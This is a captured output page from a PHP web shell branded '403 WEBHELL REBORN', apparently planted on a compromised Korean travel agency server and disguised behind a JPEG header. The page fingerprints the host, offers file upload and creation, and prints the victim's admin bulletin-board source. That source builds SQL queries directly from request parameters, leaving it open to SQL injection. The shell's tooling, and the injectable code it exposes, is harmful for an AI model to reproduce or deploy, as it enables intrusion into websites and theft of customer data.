ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/board/index.html
<?php
    include "../include/top.html";
    include "_common.php";

//if($BD_CD=='ENREV')		{$lang='en';$bbs_review=$BD_CD;}
//elseif($BD_CD=='CNREV')	{$lang='cn';$bbs_review=$BD_CD;}
//elseif($BD_CD=='TWREV')	{$lang='hk';$bbs_review=$BD_CD;}
//elseif($BD_CD=='REVIEW'){$lang='ko';$bbs_review=$BD_CD;}

$lang = 'ko';
$bbs_review = $BD_CD;

$BOARD_INFO = board_info_list('',$BD_CD);
$BOARD_INFO = $BOARD_INFO[0];

$sql_where = "where 1=1 ";

//검색
if ($mode == "search" && $input_key) {
    $sql_where .= " and ".$select_key." like '%".$input_key."%' ";
}

if($b_uid_s) $sql_where .= " and b_uid= '{$b_uid_s}' ";

// 정렬 설정
$sql_order = "";
if ($BOARD_INFO[BD_OD] == "Y") $sql_order .= " OrderNum ASC, ";
$sql_order .= " FIXED_YN ASC, MREF DESC, MSTEP ASC, MSEQ DESC ";


$total = TBL_TOTAL($BD_CD,$sql_where);

/*if(devCookie()){
    echo $total;
    exit;
}*/

$notanswered_text = '미답변 글확인';
$notanswered_url = 'index.html?mode=notanswered&BD_CD='.$BD_CD.'&select_key=MTITLE&input_key=';

$MREF_sql = "SELECT MAX(`MREF`) AS LargestMREF FROM `QNAKO`";
$MREF_rs = db_query($MREF_sql);
$MREF_row = db_fetch_array($MREF_rs);

$largestMREF = $MREF_row['LargestMREF']+1;

$notanswer = '';

if ($mode == 'notanswered')
{
    $notanswered_text = '전제';
    $notanswered_url = 'index.html?BD_CD='.$BD_CD;

    $sql_where .= " AND (";
}

for ($i = 39; $i < $largestMREF; $i++)
{
    $MREF_find_sql = "SELECT `MSEQ`,`MTITLE`,COUNT(`MREF`) AS CheckMREF FROM `QNAKO`
    WHERE `MREF`='$i' AND `INSDT` > '2023-05-29'";

    $MREF_find_rs = db_query($MREF_find_sql);
    $MREF_find_row = db_fetch_array($MREF_find_rs);


    if ($MREF_find_row['CheckMREF'] == 1)
    {

        $MREF_find_get_sql = "SELECT `MSEQ`,`MTITLE`,COUNT(`MREF`) AS CheckMREF FROM `QNAKO`
        WHERE `MREF`='$i' AND `INSDT` > '2023-05-29' AND `MTITLE` NOT LIKE '[RE]%'";

        $MREF_find_get_rs = db_query($MREF_find_get_sql);
        while ($MREF_find_get_row = db_fetch_array($MREF_find_get_rs))
        {
            if ($MREF_find_get_row['CheckMREF'] == 1)
            {
                $notanswer .= $MREF_find_row['MSEQ'].' ';
            }
        }

        $total_++;

        if ($total_ > 1)
        {
            $sql_where .= ' OR ';
        }
        $sql_where .= " `MSEQ`='".$MREF_find_row['MSEQ']."'";
    }
}

if ($notanswer !='')
{
    $sql_where .= ")  AND `MTITLE` NOT LIKE '[RE]%' ";
}

if ($mode == '')
{
    $sql_where = '';
}


$total = TBL_TOTAL($BD_CD,$sql_where);

$notanswered_icon = '';


// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = ($BOARD_INFO[BD_PS])?$BOARD_INFO[BD_PS]:20; // 보여줄 갯수
$list = ($BOARD_INFO[BD_PM])?$BOARD_INFO[BD_PM]:10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1);


//리스트불러오기
$CMM = board_list($BD_CD,$sql_where,$sql_order,$olds,$line);


//print_r($CMM);

//파라메터
$href = "BD_CD=$BD_CD";
$href.= "&b_uid_s=$b_uid_s";
$href.= "&m_uid_s=$m_uid_s";
$href.= "&s_uid_s=$s_uid_s";
$href.= "&mode=$mode";
$href.= "&select_key=$select_key";
$href.= "&input_key=$input_key";
$param = $href."&page=$page";

// 1차카테고리
//$data_bc = TO_get_bc("","N");
$data_bc = TO_get_bc("","N"," and b_lang='{$lang}' ");

$not_answered_button = '';

if (($BD_CD == 'QNA') || ($BD_CD == 'TWQNA') || ($BD_CD == 'ENQNA') || ($BD_CD == 'CNQNA'))
{
    $not_answered_button = '
<a href="'.$notanswered_url.'" class="Tbtn red notanswered">'.$notanswered_text.'</a>';
}

?>
    <script type="text/javascript">
        $(document).ready(function(){
            var tbl = $("#board_list_tbl");

            // 테이블 헤더에 있는 checkbox 클릭시
            $("#checkall", tbl).click(function(){

                if( $(this).prop("checked")){
                    //$(":checkbox", tbl).attr("checked",true);
                    $(":checkbox", tbl).attr('checked','checked');

                }else{
                    //$(":checkbox", tbl).attr('checked',false);
                    $(":checkbox", tbl).removeAttr('checked');
                }

                // 모든 체크박스에 change 이벤트 발생시키기
                //$(":checkbox", tbl).trigger("change");
            });

            // 헤더에 있는 체크박스외 다른 체크박스 클릭시
            $(":checkbox:not(:first)", tbl).click(function(){
                var allCnt = $(":checkbox:not(:first)", tbl).length;
                var checkedCnt = $(":checkbox:not(:first)", tbl).filter(":checked").length;

                // 전체 체크박스 갯수와 현재 체크된 체크박스 갯수를 비교해서 헤더에 있는 체크박스 체크할지 말지 판단
                if( allCnt==checkedCnt ){
                    $(":checkbox:first", tbl).attr("checked", true);
                }else{
                    $(":checkbox:first", tbl).attr("checked", false);
                }
            });
        });

        function board_del(MSEQ){
            if(!MSEQ) return;

            if(MSEQ=='check'){
                var checkedCnt = $(":checkbox:not(:first)").filter(":checked").length;
                if(checkedCnt==0){
                    alert('삭제할 글을 체크해주세요');
                    return;
                }
                if(confirm('삭제후 글을 복원할 수 없습니다. 삭제하시겠습니까?')){
                    document.getElementById('SqlType').value = "delete";
                    ajax_post('','proc.php','board_List');
                }
            }else{
                if(confirm('삭제후 글을 복원할 수 없습니다. 삭제하시겠습니까?')){
//			alert('<?=$param?>&SqlType=delete&MSEQ[0]='+MSEQ);
                    //ajax_post('testdiv','proc.php','','<?=$param?>&SqlType=delete&MSEQ[0]='+MSEQ);
                    //alert("proc.php?<?=$param?>&SqlType=delete&MSEQ[0]="+MSEQ);

                    location.href = "proc.php?SqlType=delete&MSEQ[0]="+MSEQ+"&<?=$param?>";
                }
            }

        }
    </script>
<style>
    .t_title img{width:100px}
</style>
    <div class="contents_wrap">
        <div class="contents_wrap_in">
            <div class="title">게시판 관리<span class="arrow">&gt;</span><strong><?=$BOARD_INFO[BD_NM]?></strong></div>
            <div class="contents_detail">
                <form name="Search_List" method="GET" action="<?=$PHP_SELF?>">
                    <input type="hidden" name="mode" value="search" />
                    <input type="hidden" name="BD_CD" id="BD_CD" value="<?=$BD_CD?>" />
                    <div class="c_top_bar">
                        <ul class="c_top_search">
                            <li>
                                <select name="select_key" id="select_key">
                                    <option value="MTITLE" <?if($select_key=='MTITLE') echo "selected";?>>제목</option>
                                    <option value="MEM_NM" <?if($select_key=='MEM_NM') echo "selected";?>>작성자</option>
                                    <option value="MCONT" <?if($select_key=='MCONT') echo "selected";?>>내용</option>
                                </select>
                            </li>
                            <li>
                                <label for="input_key" class="v_none2">검색어 입력</label>
                                <input class="search_box" id="input_key" name="input_key" type="text" value="<?=$input_key?>" />
                                <input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_btn_search" />
                                <?=$not_answered_button?>
                            </li>
                        </ul>
                    </div>
                </form>
                <div id="Content_box">
                    <div class="top_txt_s">
                        <div class="bar_wrap">
                            <p class="search_result_txt"><span>Total : <?=$total?></span> </p>
                            <ul class="search_rt_btn">
                                <?php if($BOARD_INFO['BD_CD']==$bbs_review) {?>
                                    <li>
                                        <select name="b_uid_s" id="b_uid_s" style="width:180px;height:32px">
                                            <option value="">==1차카테고리==</option>
                                            <?php foreach($data_bc as $v){?>
                                                <option value="<?=$v['b_uid']?>" <?=($b_uid_s==$v['b_uid'])?"selected":""?>><?=$v['b_name']?></option>
                                            <?php }?>
                                        </select>
                                    </li>
                                <?php }?>
                                <?if($BOARD_INFO['BD_CG']=="Y"){//코멘트?>
                                    <li><a class="Tbtn" href="#" onclick="to_dialog.ajax('ComListAll.php?BD_CD=<?=$BD_CD?>','전체코멘트관리', 800, 600, false, false);return false;">전체코멘트관리</a></li>
                                <?}?>
                                <li><a class="Tbtn blue" href="write.html?BD_CD=<?=$BD_CD?>">등록</a></li>
                                <li><a class="Tbtn gray" href="#" onclick="board_del('check'); return false;">삭제</a></li>
                            </ul>
                        </div>
                    </div>

                    <form name="board_List" id="board_List" method="POST">
                        <input type="hidden" name="SqlType" id="SqlType" value="" />
                        <input type="hidden" name="BD_CD" id="BD_CD" value="<?=$BD_CD?>" />
                        <table width="100%" border="0" cellspacing="0" cellpadding="0" id="board_list_tbl" class="t_list" summary="게시물을 확인하실 수 있습니다.">
                            <caption>게시물 확인</caption>
                            <colgroup>
                                <col style=" width:40px" />
                                <col style=" width:40px" />
                                <col />
                                <?if($BOARD_INFO['BD_CD']==$bbs_review){?><col style=" width:400px" /><?php }?>
                                <col style=" width:100px" />
                                <col style=" width:100px" />
                                <col style=" width:60px" />
                                <col style=" width:110px" />
                                <col style=" width:100px" />
                                <col style=" width:60px" />
                                <col style=" width:60px" />
                            </colgroup>
                            <thead>
                            <tr>
                                <th scope="col"><label for="checkall" class="v_none2">선택 체크</label><input type="checkbox" name="checkall" id="checkall" /></th>
                                <th scope="col"><?if($BOARD_INFO[BD_OD]=='Y'){?><img src="../image/btn/btn_num.gif" alt="순서" /><?}else{?>No<?}?></th>
                                <th scope="col">제목/내용</th>
                                <?if($BOARD_INFO['BD_CD']==$bbs_review){?><th scope="col">리뷰상품명</th><?php }?>
                                <th scope="col">고객ID</th>
                                <th scope="col">작성자</th>
                                <th scope="col">조회수</th>
                                <th scope="col">작성자IP주소</th>
                                <th scope="col">등록일</th>
                                <th scope="col">미리보기</th>
                                <th scope="col">삭제</th>
                            </tr>
                            </thead>
                            <tbody>
                            <?
                            for($i=0 ; $i < count($CMM) ; $i++){
                                $row = $CMM[$i];
                                if ($BOARD_INFO[BD_OD] == "Y") $num = $row[OrderNum];
                                else $num = $total - ($page - 1) * $line - $i;

                                $notanswer_explode = explode(" ", $notanswer);

                                $MFILE_IMG = "";
                                for($j=1;$j<=$BOARD_INFO['BD_FL'];$j++){
                                    if($row["MFILE".$j]!=""){
                                        $MFILE_IMG="<img src='../../image/board/bullet_disk.gif' align='absmiddle' alt='첨부파일' />";
                                    }
                                }

                                $FontTitle = "";
                                if($row['MLEVEL']>0){
                                    if($row['MLEVEL'] > 5){
                                        $row['MLEVEL']=5;
                                    }
                                    for($j=1;$j<=$row['MLEVEL'];$j++){
                                        $FontTitle .= "&nbsp;&nbsp;&nbsp;";
                                    }
                                }

                                //리플이미지
                                if($row['MSTEP']>0){
                                    $REPLE_IMG = "<img src='../../image/board/re.gif' />";
                                }else{
                                    $REPLE_IMG ="";
                                }

                                $FontTitle .= $REPLE_IMG;

                                //비밀글여부
                                if($row['SECRET']=="Y"){
                                    $SECRET_IMG="<img src='../../image/board/secret.gif' align='top' alt='비밀글' /> ";
                                }else{
                                    $SECRET_IMG="";
                                }

                                //글번호
                                if($row['FIXED_YN']=="Y"){
                                    $NOTICE_IMG="<img src='../../image/board/notice.gif' align='top' alt='공지사항' />";
                                }else{
                                    $NOTICE_IMG="";
                                }

                                //코멘트
                                if($BOARD_INFO['BD_CG']=="Y"){
                                    if($row[COMT_CNT]>0){
                                        $CTOTAL  = "<a href=\"javascript:to_dialog.ajax('ComList.php?BD_CD=".$BD_CD."&MSEQ=".$row[MSEQ]."','코멘트', 800, 600, false, false)\">";
                                        $CTOTAL .= "<img src='../../image/board/btu_comment.gif' style='width:15px' align='absmiddle' border='0' alt='코멘트관리' /><span class='comment c_red'>(".$row[COMT_CNT].")</span></a>";
                                    }else{
                                        $CTOTAL ="";
                                    }
                                }


                                if(strpos($FontTitle,'script') !== false){
                                    continue;
                                }
                                ?>
                                <tr>
                                    <td><label for="MSEQ_<?=$i?>" class="v_none2">선택삭제 체크</label><input type="checkbox" name="MSEQ[]" id="MSEQ_<?=$i?>" value="<?=$row[MSEQ]?>" /></td>
                                    <td><?=$num?></td>
                                    <td class="t_title">
                                        <?=$NOTICE_IMG?>
                                        <?=$FontTitle?>
                                        <?=$SECRET_IMG?>
                                        <a href="write.html?<?=$param?>&MSEQ=<?=$row[MSEQ]?>">
                                        <?php
                                            if(strpos($BD_CD, "REVIE") !== false){
                                                echo $row['MCONT'];
                                            }else{
                                                echo $row['MTITLE'];
                                            }
                                            ?>
                                        </a>
                                        <?=$MFILE_IMG?>
                                        <?=$CTOTAL?>
                                        <? foreach($notanswer_explode as $notanswer_explode_item) {
                                            if ($row['MSEQ'] == $notanswer_explode_item)
                                            {
                                                echo "<span style='padding-left:2px;'></span><span style='color:#ffffff; background-color:#ff0000; padding:1px'><b>미답변</b></span>";
                                            }
                                        }?>
                                    </td>
                                    <?if($BOARD_INFO['BD_CD']==$bbs_review){?><td><?=$row['g_title']?></td><?php }?>
                                    <td><?=$row[MEM_ID]?></td>
                                    <td><?=$row[MEM_NM]?></td>
                                    <td><?=$row[READCNT]?></td>
                                    <td><?=$row[INSIP]?></td>
                                    <td><?=str_replace('-','.',$row[INSDT])?></td>
                                    <td><img src="../image/board/btn_preview.gif" alt="등록확인하기" onclick="to_dialog.iframe('board_preview.html?BD_CD=<?=$BD_CD?>&MSEQ=<?=$row['MSEQ']?>','게시물보기','800','650',true,true,'yes');" style="cursor:pointer;"/></td>
                                    <td><a href="#" onclick="board_del('<?=$row[MSEQ]?>');return false;"><input type="image" src="../image/btn/btn_delete.gif" align="top" alt="삭제" /></a></td>
                                </tr>
                            <?}?>

                            </tbody>
                        </table>
                    </form>

                    <?=adm_get_paging($total_page, $page, $list, "?$href&page=", "")?>
                </div>
            </div>
        </div>
    </div>

    <script type="text/javascript">
        $(function(){
            $("#b_uid_s").on("change",function(){
                document.location.href='<?=$PHP_SELF?>?<?=$href?>&b_uid_s='+$(this).val();
            });

        });
    </script>

<? include "../include/footer.html" ?>

Anon7 - 2021